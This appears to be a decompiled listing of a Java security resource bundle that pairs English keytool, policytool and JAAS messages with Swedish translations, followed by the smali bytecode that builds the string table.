                                                                              • Existing entry alias <alias> exists, overwrite? [no]:
                                                                              • Aliaset {0} finns redan. Vill du skriva \u00f6ver det? [no]:
                                                                              • Too many failures - try later
                                                                              • F\u00f6r m\u00e5nga fel - f\u00f6rs\u00f6k igen senare
                                                                              • Certification request stored in file <filename>
                                                                              • Certifikat-f\u00f6rfr\u00e5gan har lagrats i filen <{0}>
                                                                              • Submit this to your CA
                                                                              • Skicka detta till din CA
                                                                              • if alias not specified, destalias, srckeypass, and destkeypass must not be specified
                                                                              • om n\u00e5got alias inte anges f\u00e5r destalias, srckeypass och destkeypass inte anges
                                                                              • Certificate stored in file <filename>
                                                                              • Certifikatet har lagrats i filen <{0}>
                                                                              • Certificate reply was installed in keystore
                                                                              • Certifikatsvaret har installerats i keystore-filen
                                                                              • Certificate reply was not installed in keystore
                                                                              • Certifikatsvaret har inte installerats i keystore-filen
                                                                              • Certificate was added to keystore
                                                                              • Certifikatet har lagts till i keystore-filen
                                                                              • Certificate was not added to keystore
                                                                              • Certifikatet har inte lagts till i keystore-filen
                                                                              • [Storing ksfname]
                                                                              • [Lagrar {0}]
                                                                              • alias has no public key (certificate)
                                                                              • {0} saknar offentlig nyckel (certifikat)
                                                                              • Cannot derive signature algorithm
                                                                              • Det g\u00e5r inte att h\u00e4mta n\u00e5gon signatur-algoritm
                                                                              • Alias <alias> does not exist
                                                                              • Aliaset <{0}> finns inte
                                                                              • Alias <alias> has no certificate
                                                                              • Aliaset <{0}> saknar certifikat
                                                                              • Key pair not generated, alias <alias> already exists
                                                                              • Nyckelparet genererades inte. Aliaset <{0}> finns redan
                                                                              • Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name
                                                                              • Genererar {0}-bitars {1}-nyckelpar och sj\u00e4lvsignerat certifikat ({2}) med en giltighet p\u00e5 {3} dagar\n\tf\u00f6r: {4}
                                                                              • Enter key password for <alias>
                                                                              • Ange nyckell\u00f6senord f\u00f6r <{0}>
                                                                              • \t(RETURN if same as keystore password):
                                                                              • \t(RETURN om det \u00e4r identiskt med keystore-l\u00f6senordet):
                                                                              • Key password is too short - must be at least 6 characters
                                                                              • Nyckell\u00f6senordet \u00e4r f\u00f6r kort - det m\u00e5ste inneh\u00e5lla minst 6 tecken
                                                                              • Too many failures - key not added to keystore
                                                                              • F\u00f6r m\u00e5nga fel - nyckeln lades inte till i keystore-filen
                                                                              • Destination alias <dest> already exists
                                                                              • Destinationsaliaset <{0}> finns redan
                                                                              • Password is too short - must be at least 6 characters
                                                                              • L\u00f6senordet \u00e4r f\u00f6r kort - det m\u00e5ste inneh\u00e5lla minst 6 tecken
                                                                              • Too many failures. Key entry not cloned
                                                                              • F\u00f6r m\u00e5nga fel. Nyckelposten har inte klonats
                                                                              • key password for <alias>
                                                                              • nyckell\u00f6senord f\u00f6r <{0}>
                                                                              • Keystore entry for <id.getName()> already exists
                                                                              • Keystore-post f\u00f6r <{0}> finns redan
                                                                              • Creating keystore entry for <id.getName()> ...
                                                                              • Skapar keystore-post f\u00f6r <{0}> ...
                                                                              • No entries from identity database added
                                                                              • Inga poster fr\u00e5n identitetsdatabasen har lagts till
                                                                              • Alias name: alias
                                                                              • Aliasnamn: {0}
                                                                              • Creation date: keyStore.getCreationDate(alias)
                                                                              • Skapat den: {0,date}
                                                                              • alias, keyStore.getCreationDate(alias),
                                                                              • {0}, {1,date},
                                                                              • alias,
                                                                              • {0},
                                                                              • Entry type: <type>
                                                                              • Posttyp: {0}
                                                                              • Certificate chain length:
                                                                              • L\u00e4ngd p\u00e5 certifikatskedja:
                                                                              • Certificate[(i + 1)]:
                                                                              • Certifikat[{0,number,integer}]:
                                                                              • Certificate fingerprint (MD5):
                                                                              • Certifikatsfingeravtryck (MD5):
                                                                              • Entry type: trustedCertEntry\n
                                                                              • Posttyp: trustedCertEntry\n
                                                                              • trustedCertEntry,
                                                                              • Keystore type:
                                                                              • Keystore-typ:
                                                                              • Keystore provider:
                                                                              • Keystore-leverant\u00f6r:
                                                                              • Your keystore contains keyStore.size() entry
                                                                              • Din keystore inneh\u00e5ller en {0,number,integer} post
                                                                              • Your keystore contains keyStore.size() entries
                                                                              • Din keystore inneh\u00e5ller {0,number,integer} poster
                                                                              • Failed to parse input
                                                                              • Det g\u00e5r inte att analysera indata
                                                                              • Empty input
                                                                              • Inga indata
                                                                              • Not X.509 certificate
                                                                              • Inte ett X.509-certifikat
                                                                              • alias has no public key
                                                                              • {0} saknar offentlig nyckel
                                                                              • alias has no X.509 certificate
                                                                              • {0} saknar X.509-certifikat
                                                                              • New certificate (self-signed):
                                                                              • Nytt certifikat (sj\u00e4lvsignerat):
                                                                              • Reply has no certificates
                                                                              • Svaret saknar certifikat
                                                                              • Certificate not imported, alias <alias> already exists
                                                                              • Certifikatet importerades inte. Aliaset <{0}> finns redan
                                                                              • Input not an X.509 certificate
                                                                              • Indata \u00e4r inte ett X.509-certifikat
                                                                              • Certificate already exists in keystore under alias <trustalias>
                                                                              • Certifikatet finns redan i keystore-filen under aliaset <{0}>
                                                                              • Do you still want to add it? [no]:
                                                                              • Vill du fortfarande l\u00e4gga till det? [nej]:
                                                                              • Certificate already exists in system-wide CA keystore under alias <trustalias>
                                                                              • Certifikatet finns redan i systemkeystore-filen under aliaset <{0}>
                                                                              • Do you still want to add it to your own keystore? [no]:
                                                                              • Vill du fortfarande l\u00e4gga till det i din egen keystore-fil? [nej]:
                                                                              • Trust this certificate? [no]:
                                                                              • Betror du det h\u00e4r certifikatet? [nej]:
                                                                              • YES
                                                                              • JA
                                                                              • New prompt:
                                                                              • Nytt {0}:
                                                                              • Passwords must differ
                                                                              • L\u00f6senorden m\u00e5ste vara olika
                                                                              • Re-enter new prompt:
                                                                              • Ange nytt {0} igen:
                                                                              • Re-enter new password:
                                                                              • Ange det nya l\u00f6senordet igen:
                                                                              • They don\'t match. Try again
                                                                              • De matchar inte. F\u00f6rs\u00f6k igen
                                                                              • Enter prompt alias name:
                                                                              • Ange {0}-aliasnamn:
                                                                              • Enter new alias name\t(RETURN to cancel import for this entry):
                                                                              • Ange ett nytt aliasnamn\t(skriv RETURN f\u00f6r att avbryta importen av denna post):
                                                                              • Enter alias name:
                                                                              • Ange aliasnamn:
                                                                              • \t(RETURN if same as for <otherAlias>)
                                                                              • \t(RETURN om det \u00e4r det samma som f\u00f6r <{0}>)
                                                                              • *PATTERN* printX509Cert
                                                                              • \u00c4gare: {0}\nUtf\u00e4rdare: {1}\nSerienummer: {2}\nGiltigt fr\u00e5n: {3} till: {4}\nCertifikatfingeravtryck:\n\t MD5: {5}\n\t SHA1: {6}\n\t Signaturalgoritm: {7}\n\t Version: {8}
                                                                              • What is your first and last name?
                                                                              • Vad heter du i f\u00f6r- och efternamn?
                                                                              • What is the name of your organizational unit?
                                                                              • Vad heter din avdelning inom organisationen?
                                                                              • What is the name of your organization?
                                                                              • Vad heter din organisation?
                                                                              • What is the name of your City or Locality?
                                                                              • Vad heter din ort eller plats?
                                                                              • What is the name of your State or Province?
                                                                              • Vad heter ditt land eller din provins?
                                                                              • What is the two-letter country code for this unit?
                                                                              • Vilken \u00e4r den tv\u00e5st\u00e4lliga landskoden?
                                                                              • Is <name> correct?
                                                                              • \u00c4r {0} korrekt?
                                                                              • no
                                                                              • nej
                                                                              • yes
                                                                              • ja
                                                                              • y
                                                                              • j
                                                                              • [defaultValue]:
                                                                              • [{0}]:
                                                                              • Alias <alias> has no key
                                                                              • Aliaset <{0}> saknar nyckel
                                                                              • Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • Aliaset <{0}> h\u00e4nvisar till en posttyp som inte \u00e4r n\u00e5gon privat nyckelpost. Kommandot -keyclone har endast st\u00f6d f\u00f6r kloning av privata nyckelposter
                                                                              • ***************** WARNING WARNING WARNING *****************
                                                                              • ***************** VARNING VARNING VARNING *****************
                                                                              • * The integrity of the information stored in your keystore *
                                                                              • * Integriteten betr\u00e4ffande den information som lagras i keystore-filen *
                                                                              • * The integrity of the information stored in the srckeystore*
                                                                              • * Integriteten f\u00f6r informationen som lagras i srckeystore*
                                                                              • * has NOT been verified! In order to verify its integrity, *
                                                                              • * har INTE verifierats! Om du vill verifiera dess integritet, *
                                                                              • * you must provide your keystore password. *
                                                                              • * m\u00e5ste du tillhandah\u00e5lla ditt keystore-l\u00f6senord. *
                                                                              • * you must provide the srckeystore password. *
                                                                              • * du m\u00e5ste ange l\u00f6senordet f\u00f6r srckeystore. *
                                                                              • Certificate reply does not contain public key for <alias>
                                                                              • Certifikatsvaret inneh\u00e5ller inte n\u00e5gon offentlig nyckel f\u00f6r <{0}>
                                                                              • Incomplete certificate chain in reply
                                                                              • Ofullst\u00e4ndig certifikatskedja i svaret
                                                                              • Certificate chain in reply does not verify:
                                                                              • Certifikatskedjan i svaret g\u00e5r inte att verifiera:
                                                                              • Top-level certificate in reply:\n
                                                                              • Toppniv\u00e5certifikatet i svaret:\n
                                                                              • ... is not trusted.
                                                                              • ... \u00e4r inte betrott.
                                                                              • Install reply anyway? [no]:
                                                                              • Vill du installera svaret \u00e4nd\u00e5? [nej]:
                                                                              • NO
                                                                              • NEJ
                                                                              • Public keys in reply and keystore don\'t match
                                                                              • De offentliga nycklarna i svaret och keystore-filen matchar inte varandra
                                                                              • Certificate reply and certificate in keystore are identical
                                                                              • Certifikatssvaret och certifikatet i keystore-filen \u00e4r identiska
                                                                              • Failed to establish chain from reply
                                                                              • Det gick inte att uppr\u00e4tta n\u00e5gon kedja ur svaret
                                                                              • n
                                                                              • Wrong answer, try again
                                                                              • Fel svar. F\u00f6rs\u00f6k p\u00e5 nytt.
                                                                              • Secret key not generated, alias <alias> already exists
                                                                              • Den hemliga nyckeln har inte genererats eftersom aliaset <{0}> redan finns
                                                                              • Please provide -keysize for secret key generation
                                                                              • Ange -keysize f\u00f6r skapande av hemlig nyckel
                                                                              • keytool usage:\n
                                                                              • nyckelverktyg:\n
                                                                              • Extensions:
                                                                              • Filtill\u00e4gg:
                                                                              • -certreq [-v] [-protected]
                                                                              • \t [-alias <alias>] [-sigalg <sigalg>]
                                                                              • \t [-alias <alias>] [-sigalg <signaturalgoritm>]
                                                                              • \t [-file <csr_file>] [-keypass <keypass>]
                                                                              • \t [-file <csr_fil>] [-keypass <nyckell\u00f6senord>]
                                                                              • \t [-keystore <keystore>] [-storepass <storepass>]
                                                                              • \t [-keystore <keystore>] [-storepass <lagringsl\u00f6senord>]
                                                                              • \t [-storetype <storetype>] [-providername <name>]
                                                                              • \t [-providerclass <provider_class_name> [-providerarg <arg>]] ...
                                                                              • \t [-providerpath <pathlist>]
                                                                              • -delete [-v] [-protected] -alias <alias>
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • \t [-alias <alias>] [-file <cert_file>]
                                                                              • \t [-alias <alias>] [-file <certifikatsfil>]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • \t [-alias <alias>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <keysize>]
                                                                              • \t [-keyalg <nyckelalgoritm>] [-keysize <nyckelstorlek>]
                                                                              • \t [-sigalg <sigalg>] [-dname <dname>]
                                                                              • \t [-sigalg <signaturalgoritm>] [-dname <dnamn>]
                                                                              • \t [-validity <valDays>] [-keypass <keypass>]
                                                                              • \t [-validity <dagar>] [-keypass <nyckell\u00f6senord>]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -help
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • \t [-alias <alias>] [-keypass <keypass>]
                                                                              • \t [-file <cert_file>] [-keypass <keypass>]
                                                                              • \t [-file <certifikatsfil>] [-keypass <nyckell\u00f6senord>]
                                                                              • -importkeystore [-v]
                                                                              • \t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]
                                                                              • \t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]
                                                                              • \t [-srcprotected] [-destprotected]
                                                                              • \t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]
                                                                              • \t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]
                                                                              • \t [-srcalias <srcalias> [-destalias <destalias>]
                                                                              • \t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]
                                                                              • \t [-noprompt]
                                                                              • -changealias [-v] [-protected] -alias <alias> -destalias <destalias>
                                                                              • \t [-keypass <keypass>]
                                                                              • -keypasswd [-v] [-alias <alias>]
                                                                              • \t [-keypass <old_keypass>] [-new <new_keypass>]
                                                                              • \t [-keypass <gammalt_nyckell\u00f6senord>] [-new <nytt_nyckell\u00f6senord>]
                                                                              • -list [-v | -rfc] [-protected]
                                                                              • -printcert [-v] [-file <cert_file>]
                                                                              • -printcert [-v] [-file <certifikatsfil>]
                                                                              • -storepasswd [-v] [-new <new_storepass>]
                                                                              • -storepasswd [-v] [-new <nytt_lagringsl\u00f6senord>]
                                                                              • Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured.
                                                                              • Varning! Det finns ingen offentlig nyckel f\u00f6r aliaset {0}. Kontrollera att det aktuella nyckellagret \u00e4r korrekt konfigurerat.
                                                                              • Warning: Class not found: class
                                                                              • Varning! Klassen hittades inte: {0}
                                                                              • Warning: Invalid argument(s) for constructor: arg
                                                                              • Varning! Ogiltigt/Ogiltiga argument f\u00f6r konstrukt\u00f6r: {0}
                                                                              • Illegal Principal Type: type
                                                                              • Ogiltig huvudtyp: {0}
                                                                              • Illegal option: option
                                                                              • Ogiltigt alternativ: {0}
                                                                              • Usage: policytool [options]
                                                                              • G\u00f6r s\u00e5 h\u00e4r: policytool [alternativ]
                                                                              • [-file <file>] policy file location
                                                                              • [-file <fil>] policyfilens plats
                                                                              • New
                                                                              • Nytt
                                                                              • Open
                                                                              • \u00d6ppna
                                                                              • Save
                                                                              • Spara
                                                                              • Save As
                                                                              • Spara som
                                                                              • View Warning Log
                                                                              • Visa varningslogg
                                                                              • Exit
                                                                              • Avsluta
                                                                              • Add Policy Entry
                                                                              • L\u00e4gg till policypost
                                                                              • Edit Policy Entry
                                                                              • Redigera policypost
                                                                              • Remove Policy Entry
                                                                              • Ta bort policypost
                                                                              • Edit
                                                                              • Redigera
                                                                              • Retain
                                                                              • Beh\u00e5ll
                                                                              • Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name.
                                                                              • Add Public Key Alias
                                                                              • L\u00e4gg till offentligt nyckelalias
                                                                              • Remove Public Key Alias
                                                                              • Ta bort offentligt nyckelalias
                                                                              • File
                                                                              • Arkiv
                                                                              • KeyStore
                                                                              • Nyckellager
                                                                              • Policy File:
                                                                              • Policyfil:
                                                                              • Could not open policy file: policyFile: e.toString()
                                                                              • Det g\u00e5r inte att \u00f6ppna policyfilen: {0}: {1}
                                                                              • Policy Tool
                                                                              • Policyverktyg
                                                                              • Errors have occurred while opening the policy configuration. View the Warning Log for more information.
                                                                              • Det uppstod ett fel n\u00e4r policykonfigurationen skulle \u00f6ppnas. Visa varningsloggen med ytterligare information.
                                                                              • Error
                                                                              • Fel
                                                                              • OK
                                                                              • Status
                                                                              • Warning
                                                                              • Varning
                                                                              • Permission:
                                                                              • Beh\u00f6righet:
                                                                              • Principal Type:
                                                                              • Principaltyp:
                                                                              • Principal Name:
                                                                              • Principalnamn:
                                                                              • Target Name:
                                                                              • M\u00e5lets namn:
                                                                              • Actions:
                                                                              • Funktioner:
                                                                              • OK to overwrite existing file filename?
                                                                              • Ska den befintliga filen {0} skrivas \u00f6ver?
                                                                              • Cancel
                                                                              • Avbryt
                                                                              • CodeBase:
                                                                              • SignedBy:
                                                                              • Add Principal
                                                                              • L\u00e4gg till principal
                                                                              • Edit Principal
                                                                              • Redigera principal
                                                                              • Remove Principal
                                                                              • Ta bort principal
                                                                              • Principals:
                                                                              • Principaler:
                                                                              • Add Permission
                                                                              • L\u00e4gg till beh\u00f6righet
                                                                              • Edit Permission
                                                                              • Redigera beh\u00f6righet
                                                                              • Remove Permission
                                                                              • Ta bort beh\u00f6righet
                                                                              • Done
                                                                              • Klar
                                                                              • KeyStore URL:
                                                                              • Webbadress f\u00f6r nyckellager:
                                                                              • KeyStore Type:
                                                                              • Nyckellagertyp:
                                                                              • KeyStore Provider:
                                                                              • Nyckellagerleverant\u00f6r:
                                                                              • KeyStore Password URL:
                                                                              • Webbadress f\u00f6r l\u00f6senord till nyckellager:
                                                                              • Principals
                                                                              • Principaler
                                                                              • Edit Principal:
                                                                              • Redigera principal:
                                                                              • Add New Principal:
                                                                              • L\u00e4gg till ny principal:
                                                                              • Permissions
                                                                              • Beh\u00f6righet
                                                                              • Edit Permission:
                                                                              • Redigera beh\u00f6righet:
                                                                              • Add New Permission:
                                                                              • L\u00e4gg till ny beh\u00f6righet:
                                                                              • Signed By:
                                                                              • Signerad av:
                                                                              • Cannot Specify Principal with a Wildcard Class without a Wildcard Name
                                                                              • Det g\u00e5r inte att specificera principal med wildcard-klass utan wildcard-namn
                                                                              • Cannot Specify Principal without a Name
                                                                              • Det g\u00e5r inte att specificera principal utan namn
                                                                              • Permission and Target Name must have a value
                                                                              • Beh\u00f6righet och m\u00e5lnamn m\u00e5ste ha ett v\u00e4rde
                                                                              • Remove this Policy Entry?
                                                                              • Vill du ta bort den h\u00e4r policyposten?
                                                                              • Overwrite File
                                                                              • Skriva \u00f6ver fil
                                                                              • Policy successfully written to filename
                                                                              • Policy har skrivits till {0}
                                                                              • null filename
                                                                              • nullfilnamn
                                                                              • Save changes?
                                                                              • Vill du spara \u00e4ndringarna?
                                                                              • Yes
                                                                              • Ja
                                                                              • No
                                                                              • Nej
                                                                              • Policy Entry
                                                                              • Policyfel
                                                                              • Save Changes
                                                                              • No Policy Entry selected
                                                                              • N\u00e5gon policypost har inte markerats
                                                                              • Unable to open KeyStore: ex.toString()
                                                                              • Det g\u00e5r inte att \u00f6ppna nyckellagret: {0}
                                                                              • No principal selected
                                                                              • Ingen principal har markerats
                                                                              • No permission selected
                                                                              • N\u00e5gon beh\u00f6righet har inte markerats
                                                                              • name
                                                                              • namn
                                                                              • configuration type
                                                                              • konfigurationstyp
                                                                              • environment variable name
                                                                              • variabelnamn f\u00f6r milj\u00f6
                                                                              • library name
                                                                              • biblioteksnamn
                                                                              • package name
                                                                              • paketnamn
                                                                              • policy type
                                                                              • policytyp
                                                                              • property name
                                                                              • egenskapsnamn
                                                                              • provider name
                                                                              • leverant\u00f6rsnamn
                                                                              • Principal List
                                                                              • Huvudlista
                                                                              • Permission List
                                                                              • Beh\u00f6righetslista
                                                                              • Code Base
                                                                              • Kodbas
                                                                              • KeyStore U R L:
                                                                              • KeyStore Password U R L:
                                                                              • invalid null input(s)
                                                                              • ogiltiga null-indata
                                                                              • actions can only be \'read\'
                                                                              • funktioner kan endast \'l\u00e4sas\'
                                                                              • permission name [name] syntax invalid:
                                                                              • syntaxen f\u00f6r beh\u00f6righetsnamnet [{0}] \u00e4r ogiltig:
                                                                              • Credential Class not followed by a Principal Class and Name
                                                                              • Kreditivklassen f\u00f6ljs inte av principalklass eller principalnamn
                                                                              • Principal Class not followed by a Principal Name
                                                                              • Principalklassen f\u00f6ljs inte av n\u00e5got principalnamn
                                                                              • Principal Name must be surrounded by quotes
                                                                              • Principalnamnet m\u00e5ste anges inom citattecken
                                                                              • Principal Name missing end quote
                                                                              • Principalnamnet saknar avslutande citattecken
                                                                              • PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value
                                                                              • V\u00e4rdet f\u00f6r principalklassen PrivateCredentialPermission kan inte ha n\u00e5got jokertecken (*) om principalnamnet inte anges med jokertecken (*)
                                                                              • CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name
                                                                              • CredOwner:\n\tPrincipalklass = {0}\n\tPrincipalnamn = {1}
                                                                              • provided null name
                                                                              • gav null-namn
                                                                              • provided null keyword map
                                                                              • nullnyckelordsmappning tillhandah\u00f6lls
                                                                              • provided null OID map
                                                                              • null-OID-mappning tillhandah\u00f6lls
                                                                              • invalid null AccessControlContext provided
                                                                              • ogiltigt null-AccessControlContext
                                                                              • invalid null action provided
                                                                              • ogiltig null-funktion
                                                                              • invalid null Class provided
                                                                              • ogiltig null-klass
                                                                              • Subject:\n
                                                                              • \u00c4rende:\n
                                                                              • \tPrincipal:
                                                                              • \tPublic Credential:
                                                                              • \tOffentligt kreditiv:
                                                                              • \tPrivate Credentials inaccessible\n
                                                                              • \tPrivata kreditiv \u00e4r otillg\u00e4ngliga\n
                                                                              • \tPrivate Credential:
                                                                              • \tPrivata kreditiv:
                                                                              • \tPrivate Credential inaccessible\n
                                                                              • Subject is read-only
                                                                              • \u00c4mnet \u00e4r skrivskyddat
                                                                              • attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set
                                                                              • f\u00f6rs\u00f6k att l\u00e4gga till ett objekt som inte \u00e4r en f\u00f6rekomst av java.security.Principal till en principalupps\u00e4ttning
                                                                              • attempting to add an object which is not an instance of class
                                                                              • f\u00f6rs\u00f6ker l\u00e4gga till ett objekt som inte \u00e4r en f\u00f6rekomst av {0}
                                                                              • LoginModuleControlFlag:
                                                                              • Invalid null input: name
                                                                              • Ogiltiga null-indata: namn
                                                                              • No LoginModules configured for name
                                                                              • Inga inloggningsmoduler har konfigurerats f\u00f6r {0}
                                                                              • invalid null Subject provided
                                                                              • ogiltigt null-Subject
                                                                              • invalid null CallbackHandler provided
                                                                              • ogiltig null-CallbackHandler
                                                                              • null subject - logout called before login
                                                                              • null-subject - utloggning anropades f\u00f6re inloggning
                                                                              • unable to instantiate LoginModule, module, because it does not provide a no-argument constructor
                                                                              • det g\u00e5r inta att representera LoginModule, {0}, eftersom den inte tillhandah\u00e5ller n\u00e5gon argumentfri konstruktion
                                                                              • unable to instantiate LoginModule
                                                                              • det g\u00e5r inte att representera LoginModule
                                                                              • unable to instantiate LoginModule:
                                                                              • inloggningsmodulen kan inte skapas:
                                                                              • unable to find LoginModule class:
                                                                              • det g\u00e5r inte att hitta LoginModule-klassen:
                                                                              • unable to access LoginModule:
                                                                              • det g\u00e5r inte att komma \u00e5t LoginModule:
                                                                              • Login Failure: all modules ignored
                                                                              • Inloggningsfel: alla moduler ignoreras
                                                                              • java.security.policy: error parsing policy:\n\tmessage
                                                                              • java.security.policy: fel vid analys av {0}:\n\t{1}
                                                                              • java.security.policy: error adding Permission, perm:\n\tmessage
                                                                              • java.security.policy: fel vid till\u00e4gg av beh\u00f6righet, {0}:\n\t{1}
                                                                              • java.security.policy: error adding Entry:\n\tmessage
                                                                              • java.security.policy: fel vid till\u00e4gg av post:\n\t{0}
                                                                              • alias name not provided (pe.name)
                                                                              • aliasnamn ej angivet ({0})
                                                                              • unable to perform substitution on alias, suffix
                                                                              • kan ej ers\u00e4tta aliasnamn, {0}
                                                                              • substitution value, prefix, unsupported
                                                                              • ers\u00e4ttningsv\u00e4rde, {0}, st\u00f6ds ej
                                                                              • (
                                                                              • )
                                                                              • type can\'t be null
                                                                              • typen kan inte vara null
                                                                              • keystorePasswordURL can not be specified without also specifying keystore
                                                                              • det g\u00e5r inte att ange keystorePasswordURL utan att ange keystore
                                                                              • expected keystore type
                                                                              • f\u00f6rv\u00e4ntad keystore-typ
                                                                              • expected keystore provider
                                                                              • keystore-leverant\u00f6r f\u00f6rv\u00e4ntades
                                                                              • multiple Codebase expressions
                                                                              • flera Codebase-uttryck
                                                                              • multiple SignedBy expressions
                                                                              • flera SignedBy-uttryck
                                                                              • SignedBy has empty alias
                                                                              • SignedBy har ett tomt alias
                                                                              • can not specify Principal with a wildcard class without a wildcard name
                                                                              • Det g\u00e5r inte att specificera principal genom att ange jokertecken f\u00f6r klass utan att samtidigt ange jokertecken f\u00f6r namn
                                                                              • expected codeBase or SignedBy or Principal
                                                                              • f\u00f6rv\u00e4ntad codeBase eller SignedBy eller Principal
                                                                              • expected permission entry
                                                                              • f\u00f6rv\u00e4ntade beh\u00f6righetspost
                                                                              • number
                                                                              • antal
                                                                              • expected [expect], read [end of file]
                                                                              • f\u00f6rv\u00e4ntade [{0}], l\u00e4ste [end of file]
                                                                              • expected [;], read [end of file]
                                                                              • f\u00f6rv\u00e4ntade [;], l\u00e4ste [end of file]
                                                                              • line number: msg
                                                                              • rad {0}: {1}
                                                                              • line number: expected [expect], found [actual]
                                                                              • rad {0}: f\u00f6rv\u00e4ntade [{1}], hittade [{2}]
                                                                              • null principalClass or principalName
                                                                              • null-principalClass eller -principalName
                                                                              • PKCS11 Token [providerName] Password:
                                                                              • PKCS11-pollett [{0}] L\u00f6senord:
                                                                              • unable to instantiate Subject-based policy
                                                                              • den Subject-baserade policyn kan inte skapas
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x2
                                                                              2const/4 v5, 0x1
                                                                              3const/4 v4, 0x0
                                                                              4const/16 v0, 0x153
                                                                              5new-array v0, v0, [[Ljava/lang/Object;
                                                                              6new-array v1, v6, [Ljava/lang/Object;
                                                                              8const-string v2, " "
                                                                              9aput-object v2, v1, v4
                                                                              11const-string v2, " "
                                                                              12aput-object v2, v1, v5
                                                                              13aput-object v1, v0, v4
                                                                              14new-array v1, v6, [Ljava/lang/Object;
                                                                              16const-string v2, " "
                                                                              17aput-object v2, v1, v4
                                                                              19const-string v2, " "
                                                                              20aput-object v2, v1, v5
                                                                              21aput-object v1, v0, v5
                                                                              22new-array v1, v6, [Ljava/lang/Object;
                                                                              24const-string v2, " "
                                                                              25aput-object v2, v1, v4
                                                                              27const-string v2, " "
                                                                              28aput-object v2, v1, v5
                                                                              29aput-object v1, v0, v6
                                                                              30const/4 v1, 0x3
                                                                              31new-array v2, v6, [Ljava/lang/Object;
                                                                              33const-string v3, ", "
                                                                              34aput-object v3, v2, v4
                                                                              36const-string v3, ", "
                                                                              37aput-object v3, v2, v5
                                                                              38aput-object v2, v0, v1
                                                                              39const/4 v1, 0x4
                                                                              40new-array v2, v6, [Ljava/lang/Object;
                                                                              42const-string v3, "\n"
                                                                              43aput-object v3, v2, v4
                                                                              45const-string v3, "\n"
                                                                              46aput-object v3, v2, v5
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x5
                                                                              49new-array v2, v6, [Ljava/lang/Object;
                                                                              51const-string v3, "*******************************************"
                                                                              52aput-object v3, v2, v4
                                                                              54const-string v3, "*******************************************"
                                                                              55aput-object v3, v2, v5
                                                                              56aput-object v2, v0, v1
                                                                              57const/4 v1, 0x6
                                                                              58new-array v2, v6, [Ljava/lang/Object;
                                                                              60const-string v3, "*******************************************\n\n"
                                                                              61aput-object v3, v2, v4
                                                                              63const-string v3, "*******************************************\n\n"
                                                                              64aput-object v3, v2, v5
                                                                              65aput-object v2, v0, v1
                                                                              66const/4 v1, 0x7
                                                                              67new-array v2, v6, [Ljava/lang/Object;
                                                                              69const-string v3, "keytool error: "
                                                                              70aput-object v3, v2, v4
                                                                              72const-string v3, "nyckelverktygsfel: "
                                                                              73aput-object v3, v2, v5
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x8
                                                                              76new-array v2, v6, [Ljava/lang/Object;
                                                                              78const-string v3, "Illegal option: "
                                                                              79aput-object v3, v2, v4
                                                                              81const-string v3, "Ogiltigt alternativ: "
                                                                              82aput-object v3, v2, v5
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0x9
                                                                              85new-array v2, v6, [Ljava/lang/Object;
                                                                              87const-string v3, "Try keytool -help"
                                                                              88aput-object v3, v2, v4
                                                                              90const-string v3, "Try keytool -help"
                                                                              91aput-object v3, v2, v5
                                                                              92aput-object v2, v0, v1
                                                                              93const/16 v1, 0xa
                                                                              94new-array v2, v6, [Ljava/lang/Object;
                                                                              96const-string v3, "Command option <flag> needs an argument."
                                                                              97aput-object v3, v2, v4
                                                                              99const-string v3, "Kommandoalternativet {0} beh\u00f6ver ett argument."
                                                                              100aput-object v3, v2, v5
                                                                              101aput-object v2, v0, v1
                                                                              102const/16 v1, 0xb
                                                                              103new-array v2, v6, [Ljava/lang/Object;
                                                                              105const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value."
                                                                              106aput-object v3, v2, v4
                                                                              108const-string v3, "Varning! PKCS12 KeyStores har inte st\u00f6d f\u00f6r olika l\u00f6senord f\u00f6r lagret och nyckeln. Det anv\u00e4ndarspecificerade {0}-v\u00e4rdet ignoreras."
                                                                              109aput-object v3, v2, v5
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0xc
                                                                              112new-array v2, v6, [Ljava/lang/Object;
                                                                              114const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              115aput-object v3, v2, v4
                                                                              117const-string v3, "-keystore m\u00e5ste vara NONE om -storetype \u00e4r {0}"
                                                                              118aput-object v3, v2, v5
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0xd
                                                                              121new-array v2, v6, [Ljava/lang/Object;
                                                                              123const-string v3, "Too may retries, program terminated"
                                                                              124aput-object v3, v2, v4
                                                                              126const-string v3, "F\u00f6r m\u00e5nga f\u00f6rs\u00f6k. Programmet avslutas."
                                                                              127aput-object v3, v2, v5
                                                                              128aput-object v2, v0, v1
                                                                              129const/16 v1, 0xe
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              132const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              133aput-object v3, v2, v4
                                                                              135const-string v3, "-storepasswd- och -keypasswd-kommandon st\u00f6ds inte om -storetype \u00e4r {0}"
                                                                              136aput-object v3, v2, v5
                                                                              137aput-object v2, v0, v1
